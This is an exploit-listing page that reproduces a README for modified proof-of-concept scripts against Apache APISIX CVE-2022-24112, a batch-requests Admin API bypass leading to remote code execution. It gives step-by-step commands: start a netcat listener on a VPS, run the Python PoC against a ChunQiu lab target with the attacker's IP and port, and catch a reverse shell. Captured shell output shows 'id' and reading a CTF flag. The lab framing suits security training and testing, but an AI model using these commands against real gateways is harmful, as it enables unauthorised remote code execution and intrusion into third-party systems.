Sploitus

Exploit for Authentication Bypass by Spoofing in Apache Apisix

CVE-2022-24112

githubexploit · 2022-12-03

Exploit Code

README59 lines
## https://sploitus.com/exploit?id=BB0C3D96-8DCF-5B10-A738-C0BC94E19AFD
# POCs  
Collected POCs  
## CVE-2022-24112  

To create a test environment for CVE-2022-24112 in ChunQiu Cloud Environment, two POCs were modified. The POCs by [M4xSec](https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112/blob/main/apisix-exploit.py) and [twseptian](https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py) were slightly adjusted to fit the ChunQiu Cloud Environment test environment:  

---  
**ChunQiu Cloud Environment: CVE-2022-24112:**  
Apache APISIX is a cloud-native microservices API gateway service developed by the Apache Foundation. This software is based on OpenResty and etcd, featuring dynamic routing and plugin hot loading, making it suitable for API management in microservice systems. There is a remote code execution vulnerability in Apache APISIX, which stems from the batch-requests plugin not properly restricting user batch requests. Attackers can exploit this vulnerability to bypass the Admin API’s IP restrictions, leading to remote code execution.  

**Original POC:**  
1. M4xSec: https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112/blob/main/apisix-exploit.py  
2. twseptian: https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py  

**Modified POCs:**  
The above two POCs were modified to work in both Linux and Windows environments:  

---  
**CVE-2022-24112_Linux_by_twseptian.py**  
1. Enable listening on the VPS: `nc -lvvp 18888`  
2. Run the POC in the POC directory:  
   **Note:** When adding `-t`, there’s no need to include `http://` or `https://`. Just specify the domain name and port, as follows:  
   ```bash
   python3 CVE-2022-24112_Linux_by_twseptian.py -t eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 -L VPS_IP -P VPS_PODRPODR
   ```  
3. Check the VPS status:  
   ```bash
   [root@root ~]# nc -lvvp 18888
   Ncat: Version 7.50 ( https://nmap.org/ncat )
   Ncat: Listening on :::18888
   Ncat: Listening on 0.0.0.0:18888
   Ncat: Connection from x.x.x.x. Ncat: Connection from x.x.x.x:x. id
   uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
   cat /flag
   flag{0834f79f-5f40-4389-bce7-c64e969734c4}
   ```  

---  
**CVE-2022-24112_Windows_by_M4xSec.py**  
1. Enable listening on the VPS: `nc -lvvp 18888`  
2. Run the POC in the POC directory:  
   **Note:** When adding `-t`, there’s no need to include `http://` or `https://`. Just specify the domain name and port, as follows:  
   ```bash
   python3 CVE-2022-24112_Windows_by_M4xSec.py eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 VPS_IP VPS_PODRPODR
   ```  
3. Check the VPS status:  
   ```bash
   [root@root ~]# nc -lvvp 18888
   Ncat: Version 7.50 ( https://nmap.org/ncat )
   Ncat: Listening on :::18888
   Ncat: Listening on 0.0.0.0:18888
   Ncat: Connection from x.x.x.x. Ncat: Connection from x.x.x.x:x. id
   uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
   cat /flag
   flag{0834f79f-5f40-4389-bce7-c64e969734c4}
   ```

[source-iocs-preserved url=http://`或`https://`，只需要域名+端口即可，如下]